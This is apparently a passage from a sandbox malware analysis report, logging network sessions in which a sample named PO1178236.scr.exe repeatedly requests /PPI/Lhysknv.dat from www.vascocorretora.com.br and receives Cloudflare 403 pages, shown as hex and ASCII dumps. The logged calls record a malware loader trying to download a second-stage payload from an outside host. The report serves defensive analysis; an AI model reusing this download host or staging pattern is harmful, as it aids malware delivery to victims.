20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7d75fb24358</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:46 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 64 37 35 66 62 32 34 33 35 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7d75fb24358',t:'MTczNjQwNzc4Ni4wMDAwMDA='}
2025-01-09 07:29:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50078	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:46 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:46 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=liJBzv52LhYzK9NaeeeyTSEjA0C1sr5pw13%2FUAVpRVulR1NBS%2FvrWwKsZYGlTlRDYtpVDwBg%2FzXQjnOO7WFt%2FZhFXQA83Wj%2FpUfuNSfz%2BkK4j3WrNDCK%2B3fqC5s7WWhF5sxaP5fnBSXO8N1t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7db3c18436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1752&min_rtt=1649&rtt_var=692&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1770770&cwnd=238&unsent_bytes=0&cid=0b70fe12a26f152d&ts=146&x=0"
2025-01-09 07:29:46 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:46 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:29:46 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:29:46 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 64 62 33 63 31 38 34 33 36 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7db3c18436e</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:29:46 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 64 62 33 63 31 38 34 33 36 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4e 69 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7db3c18436e',t:'MTczNjQwNzc4Ni4wMDAwMDA=
2025-01-09 07:29:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50084	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:47 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:47 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ter9NTDjyLZZu5aC5E7L4ZWfdPFgRXs7OisWyo4c60BuBnkdrAq2tOdscw4CaRWosdbhslYkW2g%2FCRdn6Vux7jgd3N2WiDAS2krSlj6RAmOUAW72lMbyuh6YJh9%2BfRRvM6HkiYvGPHOfgo%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7deef5e8c59-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1912&rtt_var=737&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1465863&cwnd=196&unsent_bytes=0&cid=a4af57a4ca583f69&ts=131&x=0"
2025-01-09 07:29:47 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:47 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:47 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:47 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 64 65 65 66 35 65 38 63 35 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7deef5e8c59</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:47 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 64 65 65 66 35 65 38 63 35 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7deef5e8c59',t:'MTczNjQwNzc4Ny4wMDAwMDA='};var a
2025-01-09 07:29:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50090	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:47 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:48 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:30:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gHBe3t8xguOd7frh5LK3tpq7njfzR3YKgcVk6B3zBLkkOxW8EDOSapezl73DGvQIaY%2FONKqRUd1mbUsBpzzfc9itMLLKCJkYfKI53DF3Qy0iHFS3QF0vL9O4t0afQbVcoob0K1p8Gd5zdvSx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7e2bde57ca6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1900&min_rtt=1889&rtt_var=731&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1474003&cwnd=236&unsent_bytes=0&cid=1982b462c5651aac&ts=150&x=0"
2025-01-09 07:29:48 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:48 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:29:48 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:29:48 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 65 32 62 64 65 35 37 63 61 36 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7e2bde57ca6</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:29:48 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 65 32 62 64 65 35 37 63 61 36 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7e2bde57ca6',t:'MTczNjQwNzc4Ny4wMDAwMDA='};var a=doc
2025-01-09 07:29:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50096	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:48 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
